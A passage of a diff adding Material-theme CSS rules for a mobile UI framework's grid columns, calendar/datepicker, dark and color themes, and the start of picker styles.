16px*0.17647058823529416) / 1.1764705882352942); + } + .md .row.no-gap .desktop-85 { + width: 85%; + } + .md .row .desktop-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); + } + .md .row.no-gap .desktop-80 { + width: 80%; + } + .md .row .desktop-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); + } + .md .row.no-gap .desktop-75 { + width: 75%; + } + .md .row .desktop-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); + } + .md .row.no-gap .desktop-70 { + width: 70%; + } + .md .row .desktop-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); + } + .md .row.no-gap .desktop-66 { + width: 66.66666666666666%; + } + .md .row .desktop-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); + } + .md .row.no-gap .desktop-65 { + width: 65%; + } + .md .row .desktop-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); + } + .md .row.no-gap .desktop-60 { + width: 60%; + } + .md .row .desktop-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); + } + .md .row.no-gap .desktop-55 { + width: 55%; + } + .md .row .desktop-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .desktop-50 { + width: 50%; + } + .md .row .desktop-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); + } + .md .row.no-gap .desktop-45 { + width: 45%; + } + .md .row .desktop-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); + } + .md .row.no-gap .desktop-40 { + width: 40%; + } + .md .row .desktop-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); + } + .md .row.no-gap .desktop-35 { + width: 35%; + } + .md .row .desktop-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .desktop-33 { + width: 33.333333333333336%; + } + .md .row .desktop-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); + } + .md .row.no-gap .desktop-30 { + width: 30%; + } + .md .row .desktop-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .desktop-25 { + width: 25%; + } + .md .row .desktop-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .desktop-20 { + width: 20%; + } + .md .row .desktop-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); + } + .md .row.no-gap .desktop-15 { + width: 15%; + } + .md .row .desktop-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .desktop-10 { + width: 10%; + } + .md .row .desktop-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .desktop-5 { + width: 5%; + } + .md .row .desktop-auto:nth-last-child(1), + .md .row .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .desktop-auto:nth-last-child(1), + .md .row.no-gap .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + } + .md .row .desktop-auto:nth-last-child(2), + .md .row .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .desktop-auto:nth-last-child(2), + .md .row.no-gap .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + } + .md .row .desktop-auto:nth-last-child(3), + .md .row .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .desktop-auto:nth-last-child(3), + .md .row.no-gap .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + } + .md .row .desktop-auto:nth-last-child(4), + .md .row .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .desktop-auto:nth-last-child(4), + .md .row.no-gap .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + } + .md .row .desktop-auto:nth-last-child(5), + .md .row .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .desktop-auto:nth-last-child(5), + .md .row.no-gap .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + } + .md .row .desktop-auto:nth-last-child(6), + .md .row .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); + } + .md .row.no-gap .desktop-auto:nth-last-child(6), + .md .row.no-gap .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + } + .md .row .desktop-auto:nth-last-child(7), + .md .row .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); + } + .md .row.no-gap .desktop-auto:nth-last-child(7), + .md .row.no-gap .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + } + .md .row .desktop-auto:nth-last-child(8), + .md .row .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + width: calc((100% - 16px*7) / 8); + } + .md .row.no-gap .desktop-auto:nth-last-child(8), + .md .row.no-gap .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + } + .md .row .desktop-auto:nth-last-child(9), + .md .row .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); + } + .md .row.no-gap .desktop-auto:nth-last-child(9), + .md .row.no-gap .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + } + .md .row .desktop-auto:nth-last-child(10), + .md .row .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .desktop-auto:nth-last-child(10), + .md .row.no-gap .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + } + .md .row .desktop-auto:nth-last-child(11), + .md .row .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); + } + .md .row.no-gap .desktop-auto:nth-last-child(11), + .md .row.no-gap .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + } + .md .row .desktop-auto:nth-last-child(12), + .md .row .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); + } + .md .row.no-gap .desktop-auto:nth-last-child(12), + .md .row.no-gap .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + } + .md .row .desktop-auto:nth-last-child(13), + .md .row .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); + } + .md .row.no-gap .desktop-auto:nth-last-child(13), + .md .row.no-gap .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + } + .md .row .desktop-auto:nth-last-child(14), + .md .row .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); + } + .md .row.no-gap .desktop-auto:nth-last-child(14), + .md .row.no-gap .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + } + .md .row .desktop-auto:nth-last-child(15), + .md .row .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); + } + .md .row.no-gap .desktop-auto:nth-last-child(15), + .md .row.no-gap .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + } + .md .row .desktop-auto:nth-last-child(16), + .md .row .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + width: calc((100% - 16px*15) / 16); + } + .md .row.no-gap .desktop-auto:nth-last-child(16), + .md .row.no-gap .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + } + .md .row .desktop-auto:nth-last-child(17), + .md .row .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); + } + .md .row.no-gap .desktop-auto:nth-last-child(17), + .md .row.no-gap .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + } + .md .row .desktop-auto:nth-last-child(18), + .md .row .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); + } + .md .row.no-gap .desktop-auto:nth-last-child(18), + .md .row.no-gap .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + } + .md .row .desktop-auto:nth-last-child(19), + .md .row .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); + } + .md .row.no-gap .desktop-auto:nth-last-child(19), + .md .row.no-gap .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + } + .md .row .desktop-auto:nth-last-child(20), + .md .row .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .desktop-auto:nth-last-child(20), + .md .row.no-gap .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + } + .md .row .desktop-auto:nth-last-child(21), + .md .row .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); + } + .md .row.no-gap .desktop-auto:nth-last-child(21), + .md .row.no-gap .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + } +} +/* === Calendar/Datepicker === */ +.calendar { + overflow: hidden; + height: 320px; + width: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.calendar.modal-in { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +@media (orientation: landscape) and (max-height: 415px) { + .calendar.calendar-sheet { + height: 220px; + } + .calendar.calendar-modal { + height: calc(100vh - 44px); + } +} +.calendar.calendar-inline, +.calendar.calendar-popover .calendar { + position: relative; +} +.calendar-modal { + position: absolute; + height: 420px; + overflow: hidden; + top: 50%; + left: 50%; + min-width: 300px; + max-width: 380px; + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + z-index: 12000; + background: #fff; + width: 90%; + border-radius: 4px; + -webkit-box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); + box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); +} +.calendar-modal.modal-in, +.calendar-modal.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.calendar-modal.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.calendar-modal.modal-out { + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); +} +.calendar-popover { + width: 320px; +} +.calendar-popover .calendar { + height: 320px; +} +.calendar-week-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 11px; +} +.calendar-week-header .calendar-week-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; +} +.calendar-months { + width: 100%; + height: 100%; + overflow: hidden; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-months-wrapper { + position: relative; + width: 100%; + height: 100%; + -webkit-transition: 300ms; + transition: 300ms; +} +.calendar-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; +} +.calendar-row { + height: 16.66666667%; + height: calc(100% / 6); + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.calendar-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; + cursor: pointer; + z-index: 20; + color: #000; + height: 100%; +} +.calendar-day.calendar-day-prev, +.calendar-day.calendar-day-next { + color: #b8b8b8; +} +.calendar-day.calendar-day-disabled { + color: #d4d4d4; + cursor: auto; +} +.calendar-day.calendar-day-selected span { + color: #fff; +} +.calendar-day.calendar-day-has-events span:after { + content: ''; + width: 4px; + height: 4px; + border-radius: 50%; + position: absolute; + margin-left: -2px; + left: 50%; + bottom: 1px; +} +.calendar-day span { + display: inline-block; + border-radius: 100%; + position: relative; +} +.calendar-range .calendar-day.calendar-day-selected { + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; + -webkit-align-content: stretch; + -ms-flex-line-pack: stretch; + align-content: stretch; +} +.calendar-range .calendar-day.calendar-day-selected span { + width: 100%; + border-radius: 0; + height: auto; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.calendar-month-selector, +.calendar-year-selector { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 50%; + max-width: 200px; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-month-selector span, +.calendar-year-selector span { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + overflow: hidden; + text-overflow: ellipsis; +} +.md .calendar-header { + height: 56px; + background: #2196f3; + font-size: 20px; + line-height: 56px; + padding: 0 24px; + color: #fff; + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.md .calendar-footer { + position: relative; + width: 100%; + height: 48px; + padding: 6px 8px; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.md .calendar .toolbar { + background: none !important; + color: #212121; +} +.md .calendar .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.15) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.15) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .calendar .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .calendar .toolbar a.link .ripple-wave { + background: rgba(0, 0, 0, 0.1); +} +.md .calendar .toolbar .icon-next, +.md .calendar .toolbar .icon-prev, +.md .calendar .toolbar .icon-forward, +.md .calendar .toolbar .icon-back { + opacity: 0.54; +} +.md .calendar-week-header { + color: rgba(0, 0, 0, 0.54); + height: 24px; +} +.md .calendar-week-header .calendar-week-day { + line-height: 24px; +} +.md .calendar-day.calendar-day-today span { + color: #2196f3; +} +.md .calendar-day.calendar-day-has-events span:after { + background: #2196f3; +} +.md .calendar-day.calendar-day-has-events.calendar-day-selected span:after { + background-color: #fff; +} +.md .calendar-day.calendar-day-selected span { + background: #2196f3; + color: #fff; +} +.md .calendar-day span { + width: 36px; + height: 36px; + line-height: 36px; +} +.md .calendar-range .calendar-day.calendar-day-selected span { + color: #fff; +} +.md .calendar-month-selector a.icon-only, +.md .calendar-year-selector a.icon-only { + min-width: 36px; +} +.md .calendar-sheet:before { + content: ''; + position: absolute; + background-color: #ccc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .calendar-sheet:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .calendar-sheet:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md.device-iphone-x .calendar-sheet .sheet-modal-inner { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge.calendar .calendar-row, + .md.device-iphone-x .ios-edges.calendar .calendar-row, + .md.device-iphone-x .popup.calendar .calendar-row, + .md.device-iphone-x .sheet-modal.calendar .calendar-row, + .md.device-iphone-x .panel-left.calendar .calendar-row, + .md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .ios-left-edge.calendar .calendar-week-header, + .md.device-iphone-x .ios-edges.calendar .calendar-week-header, + .md.device-iphone-x .popup.calendar .calendar-week-header, + .md.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .md.device-iphone-x .panel-left.calendar .calendar-week-header, + .md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge.calendar .calendar-row, + .md.device-iphone-x .ios-edges.calendar .calendar-row, + .md.device-iphone-x .popup.calendar .calendar-row, + .md.device-iphone-x .sheet-modal.calendar .calendar-row, + .md.device-iphone-x .panel-right.calendar .calendar-row, + .md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .md.device-iphone-x .ios-right-edge.calendar .calendar-week-header, + .md.device-iphone-x .ios-edges.calendar .calendar-week-header, + .md.device-iphone-x .popup.calendar .calendar-week-header, + .md.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .md.device-iphone-x .panel-right.calendar .calendar-week-header, + .md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +.md .theme-dark .calendar-popover .calendar-week-header { + background-color: transparent; +} +.md .theme-dark .calendar-week-header { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar-day { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .calendar-day.calendar-day-disabled { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar-day.calendar-day-prev, +.md .theme-dark .calendar-day.calendar-day-next { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .calendar-modal, +.calendar-modal.md .theme-dark { + background: #202020; +} +.md .theme-dark .calendar.calendar-sheet:before, +.calendar.md .theme-dark.calendar-sheet:before { + background-color: rgba(255, 255, 255, 0.2); +} +.md .theme-dark .calendar .toolbar, +.calendar.md .theme-dark .toolbar { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .calendar .toolbar a.link:before, +.calendar.md .theme-dark .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .calendar .toolbar a.link.active-state:before, +.calendar.md .theme-dark .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .calendar .toolbar a.link .ripple-wave, +.calendar.md .theme-dark .toolbar a.link .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .color-theme-red .calendar-header, +.md .color-red .calendar-header { + background: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-today span, +.md .color-red .calendar-day.calendar-day-today span { + color: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-has-events span:after, +.md .color-red .calendar-day.calendar-day-has-events span:after { + background: #f44336; +} +.md .color-theme-red .calendar-day.calendar-day-selected span, +.md .color-red .calendar-day.calendar-day-selected span { + background: #f44336; + color: #fff; +} +.md .color-theme-red .calendar-day.calendar-day-selected span:after, +.md .color-red .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-green .calendar-header, +.md .color-green .calendar-header { + background: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-today span, +.md .color-green .calendar-day.calendar-day-today span { + color: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-has-events span:after, +.md .color-green .calendar-day.calendar-day-has-events span:after { + background: #4caf50; +} +.md .color-theme-green .calendar-day.calendar-day-selected span, +.md .color-green .calendar-day.calendar-day-selected span { + background: #4caf50; + color: #fff; +} +.md .color-theme-green .calendar-day.calendar-day-selected span:after, +.md .color-green .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-blue .calendar-header, +.md .color-blue .calendar-header { + background: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-today span, +.md .color-blue .calendar-day.calendar-day-today span { + color: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-has-events span:after, +.md .color-blue .calendar-day.calendar-day-has-events span:after { + background: #2196f3; +} +.md .color-theme-blue .calendar-day.calendar-day-selected span, +.md .color-blue .calendar-day.calendar-day-selected span { + background: #2196f3; + color: #fff; +} +.md .color-theme-blue .calendar-day.calendar-day-selected span:after, +.md .color-blue .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-pink .calendar-header, +.md .color-pink .calendar-header { + background: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-today span, +.md .color-pink .calendar-day.calendar-day-today span { + color: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-has-events span:after, +.md .color-pink .calendar-day.calendar-day-has-events span:after { + background: #e91e63; +} +.md .color-theme-pink .calendar-day.calendar-day-selected span, +.md .color-pink .calendar-day.calendar-day-selected span { + background: #e91e63; + color: #fff; +} +.md .color-theme-pink .calendar-day.calendar-day-selected span:after, +.md .color-pink .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-yellow .calendar-header, +.md .color-yellow .calendar-header { + background: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-today span, +.md .color-yellow .calendar-day.calendar-day-today span { + color: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-has-events span:after, +.md .color-yellow .calendar-day.calendar-day-has-events span:after { + background: #ffeb3b; +} +.md .color-theme-yellow .calendar-day.calendar-day-selected span, +.md .color-yellow .calendar-day.calendar-day-selected span { + background: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .calendar-day.calendar-day-selected span:after, +.md .color-yellow .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-orange .calendar-header, +.md .color-orange .calendar-header { + background: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-today span, +.md .color-orange .calendar-day.calendar-day-today span { + color: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-has-events span:after, +.md .color-orange .calendar-day.calendar-day-has-events span:after { + background: #ff9800; +} +.md .color-theme-orange .calendar-day.calendar-day-selected span, +.md .color-orange .calendar-day.calendar-day-selected span { + background: #ff9800; + color: #fff; +} +.md .color-theme-orange .calendar-day.calendar-day-selected span:after, +.md .color-orange .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-gray .calendar-header, +.md .color-gray .calendar-header { + background: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-today span, +.md .color-gray .calendar-day.calendar-day-today span { + color: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-has-events span:after, +.md .color-gray .calendar-day.calendar-day-has-events span:after { + background: #9e9e9e; +} +.md .color-theme-gray .calendar-day.calendar-day-selected span, +.md .color-gray .calendar-day.calendar-day-selected span { + background: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .calendar-day.calendar-day-selected span:after, +.md .color-gray .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-white .calendar-header, +.md .color-white .calendar-header { + background: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-today span, +.md .color-white .calendar-day.calendar-day-today span { + color: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-has-events span:after, +.md .color-white .calendar-day.calendar-day-has-events span:after { + background: #ffffff; +} +.md .color-theme-white .calendar-day.calendar-day-selected span, +.md .color-white .calendar-day.calendar-day-selected span { + background: #ffffff; + color: #fff; +} +.md .color-theme-white .calendar-day.calendar-day-selected span:after, +.md .color-white .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +.md .color-theme-black .calendar-header, +.md .color-black .calendar-header { + background: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-today span, +.md .color-black .calendar-day.calendar-day-today span { + color: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-has-events span:after, +.md .color-black .calendar-day.calendar-day-has-events span:after { + background: #000000; +} +.md .color-theme-black .calendar-day.calendar-day-selected span, +.md .color-black .calendar-day.calendar-day-selected span { + background: #000000; + color: #fff; +} +.md .color-theme-black .calendar-day.calendar-day-selected span:after, +.md .color-black .calendar-day.calendar-day-selected span:after { + background-color: #fff; +} +/* === Picker === */ +.picker { + width: 100%; + height: 260px; +} +.picker.picker-inline, +.popover .picker { + height: 200px; +} +@media (orientation: landscape) and (max-height: 415px) { + .picker:not(.picker-inline) { + height: 200px; + } +} +.picker-popover { + width: 280px; +} +.picker-columns { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + overflow: hidden; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; + text-align: right; + height: 100%; + position: relative; + -webkit-mask-box-image: linear-gradient(to top, transparent, transparent 5%, white 20%, white 80%, transparent 95%, transparent); +} +.picker-column { + position: relative; + max-height: 100%; +} +.picker-column.picker-column-first:before, +.picker-column.picker-column-last:after { + height: 100%; + width: 100vw; + position: absolute; + content: ''; + top: 0; +} +.picker-column.picker-column-first:before { + right: 100%; +} +.picker-column.picker-column-last:after { + left: 100%; +} +.picker-column.picker-column-left { + text-align: left; +} +.picker-column.picker-column-center { + text-align: center; +} +.picker-column.picker-column-right { + text-align: right; +} +.picker-column.picker-column-divider { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.picker-items { + -webkit-transition: 300ms; + 